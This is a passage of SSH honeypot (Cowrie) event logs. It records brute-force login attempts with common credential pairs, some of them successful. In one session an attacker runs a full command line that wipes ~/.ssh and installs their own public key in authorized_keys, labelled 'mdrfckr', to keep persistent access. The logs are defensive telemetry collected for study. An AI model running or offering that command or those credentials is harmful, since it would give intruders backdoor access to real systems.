a2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:31.488464Z","src_ip":"170.79.37.88","session":"0d6ac6af05b7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Hello123","message":"login attempt [oracle/Hello123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:31.950634Z","src_ip":"170.79.37.88","session":"0d6ac6af05b7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:32.205532Z","src_ip":"170.79.37.88","session":"0d6ac6af05b7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:32.208498Z","src_ip":"170.79.37.88","session":"0d6ac6af05b7","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:32.212544Z","src_ip":"170.79.37.88","session":"0d6ac6af05b7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:32.320045Z","src_ip":"170.79.37.88","session":"0d6ac6af05b7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:32.569835Z","src_ip":"170.79.37.88","session":"0d6ac6af05b7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:32.573423Z","src_ip":"170.79.37.88","session":"0d6ac6af05b7","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:32.691331Z","src_ip":"170.79.37.88","session":"0d6ac6af05b7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:32.694948Z","src_ip":"170.79.37.88","session":"0d6ac6af05b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":56952,"dst_ip":"159.203.135.109","dst_port":22,"session":"0572e1f02f7d","protocol":"ssh","message":"New connection: 170.79.37.88:56952 (159.203.135.109:22) [session: 0572e1f02f7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:32.803576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:32.808014Z","src_ip":"170.79.37.88","session":"0572e1f02f7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53578,"dst_ip":"159.203.135.109","dst_port":22,"session":"debc7d6d7a50","protocol":"ssh","message":"New connection: 192.109.200.78:53578 (159.203.135.109:22) [session: debc7d6d7a50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:32.879307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:32.884130Z","src_ip":"192.109.200.78","session":"debc7d6d7a50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:32.915350Z","src_ip":"170.79.37.88","session":"0572e1f02f7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:32.966464Z","src_ip":"192.109.200.78","session":"debc7d6d7a50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler","message":"login attempt [dolphinscheduler/dolphinscheduler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:33.212540Z","src_ip":"192.109.200.78","session":"debc7d6d7a50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:33.365741Z","src_ip":"170.79.37.88","session":"0572e1f02f7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:34.302674Z","src_ip":"192.109.200.78","session":"debc7d6d7a50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:34.472924Z","src_ip":"170.79.37.88","session":"0572e1f02f7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":56962,"dst_ip":"159.203.135.109","dst_port":22,"session":"9717ccadb434","protocol":"ssh","message":"New connection: 170.79.37.88:56962 (159.203.135.109:22) [session: 9717ccadb434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:34.564163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:34.568171Z","src_ip":"170.79.37.88","session":"9717ccadb434","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:34.666656Z","src_ip":"170.79.37.88","session":"9717ccadb434","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:35.098989Z","src_ip":"170.79.37.88","session":"9717ccadb434","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:35.200547Z","src_ip":"170.79.37.88","session":"9717ccadb434","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:35.205556Z","src_ip":"170.79.37.88","session":"0d6ac6af05b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53592,"dst_ip":"159.203.135.109","dst_port":22,"session":"266913a5b7db","protocol":"ssh","message":"New connection: 192.109.200.78:53592 (159.203.135.109:22) [session: 266913a5b7db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:36.673859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:36.678633Z","src_ip":"192.109.200.78","session":"266913a5b7db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:36.767334Z","src_ip":"192.109.200.78","session":"266913a5b7db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"jack","message":"login attempt [jack/jack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:37.021354Z","src_ip":"192.109.200.78","session":"266913a5b7db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:38.162261Z","src_ip":"192.109.200.78","session":"266913a5b7db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58562,"dst_ip":"159.203.135.109","dst_port":22,"session":"68a97910fe25","protocol":"ssh","message":"New connection: 192.109.200.78:58562 (159.203.135.109:22) [session: 68a97910fe25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:40.395595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:40.401672Z","src_ip":"192.109.200.78","session":"68a97910fe25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:40.506014Z","src_ip":"192.109.200.78","session":"68a97910fe25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:40.844136Z","src_ip":"192.109.200.78","session":"68a97910fe25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:42.226365Z","src_ip":"192.109.200.78","session":"68a97910fe25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58564,"dst_ip":"159.203.135.109","dst_port":22,"session":"41d186d37285","protocol":"ssh","message":"New connection: 192.109.200.78:58564 (159.203.135.109:22) [session: 41d186d37285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:44.183724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:44.188651Z","src_ip":"192.109.200.78","session":"41d186d37285","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:44.274468Z","src_ip":"192.109.200.78","session":"41d186d37285","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56440,"dst_ip":"159.203.135.109","dst_port":22,"session":"50d94a9522a9","protocol":"ssh","message":"New connection: 159.203.92.129:56440 (159.203.135.109:22) [session: 50d94a9522a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:44.376351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:44.423303Z","src_ip":"159.203.92.129","session":"50d94a9522a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","s